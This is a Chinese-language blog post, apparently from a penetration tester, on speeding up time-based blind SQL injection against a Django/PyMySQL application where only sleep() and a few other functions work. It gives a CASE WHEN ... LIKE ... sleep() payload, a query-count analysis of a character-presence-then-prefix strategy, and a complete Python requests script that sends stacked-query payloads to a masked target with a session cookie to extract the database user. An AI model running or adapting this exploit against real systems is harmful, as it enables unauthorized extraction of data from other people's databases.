极端条件下时间盲注加速的另一种思路
摸底情况
环境:python
+django
+pymysql
注入点应该是出现在order by 后面,无回显,程序会分离;
符号,并当做两个语句来执行,也就是存在堆叠注入,丢给sqlmap跑确实也识别出来了,但是没法正常跑数据,人工探测发现mysql字符处理相关的函数均无法正常执行(过滤or写法问题?),离谱的是ifnull这类函数都无法执,探测下来已知的可执行的函数只有sleep()
,length()
,users()
,version()
等这类可执行。
只能时间盲注没得选,绕过也容易,payload如下:
select case when((select binary database()) like "test%")then sleep(3) else sleep(0) end;
不允许操作字符那就不操作,只对比就好。写完Poc产生一个问题。平常盲注都是查询出单个字符串再去和所有字符串对比,但如果把模糊查询条件改成like "%a%"
,先查询一下所有字符串字符串,看是否在目标字段中,并将存在于目标字段中的字符聚合起来,再用like "abc%"
去将存在的字符串进行排序,效率会不会高很多?
假设查询结果为:95b17c3b195983f7ef37358a6db07e35
不考虑特俗字符串,盲注情况以下62个字符串需要对比:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
不适应任何技巧情况下最多需要需要对比32x62=1984次
先将查询结果转成ASCII码,上诉62个字符的ASCII码进行二分法对比,最多需要对比ln62/ln2*32≈192次
使用上诉思路查询最多次数为62 + 14*32 = 510,其中14为查询结果中出现的14个独立字符串,假设值为00000000000000000000000000000000
时,最坏查询次数为62 + 1*32 = 94,也就是说查询结果重复得越多查询次数越少,正常情况下还是不如转ascii再二分法对比效果好,但如果遇到这种不能分割字符串的情况,这也不失是个方法。
demo:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def sqli(payload):
session = requests.Session()
paramsGet = {
"dxxxxx": "xxxx');{}&".format(payload)}
headers = {"Connection": "close",
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13",
"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Cache-Control": "no-cache"}
cookies = {"SESSION": "r5q1phi49syxxxxxxxxxxxxxxxxxxxxxxxxxxxxrod59m3u2t"}
try:
session.get("https://xxxxxxxxxxxxxxxxxxxxxxch", params=paramsGet,
headers=headers, cookies=cookies, proxies=proxies, verify=False, timeout=3)
return False
except:
return True
if __name__ == '__main__':
#select case when((select database()) like \"%%\")then sleep(2) else sleep(0) end;
existStrs = ""
strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@.ß"
print("[+] 正在遍历返回值中存在的字符串...")
for s in strs:
payload = "select case when((select binary user()) like \"%{}%\")then sleep(2) else sleep(0) end;".format(s)
if sqli(payload):
existStrs += s
print(existStrs)
print("[+] 返回值中存在的字符串共有: {}".format(existStrs))
print("[+] 返回值排序中...")
result = ""
for num in range(1,15):
tmp = ""
for s2 in existStrs:
tmp = result + s2
payload2 = "select case when((select binary user()) like \"{}%\")then sleep(2) else sleep(0) end;".format(tmp)
if sqli(payload2):
result += s2
break
print(result)
print("[+] 返回值: {}".format(result))
也无风雨也无晴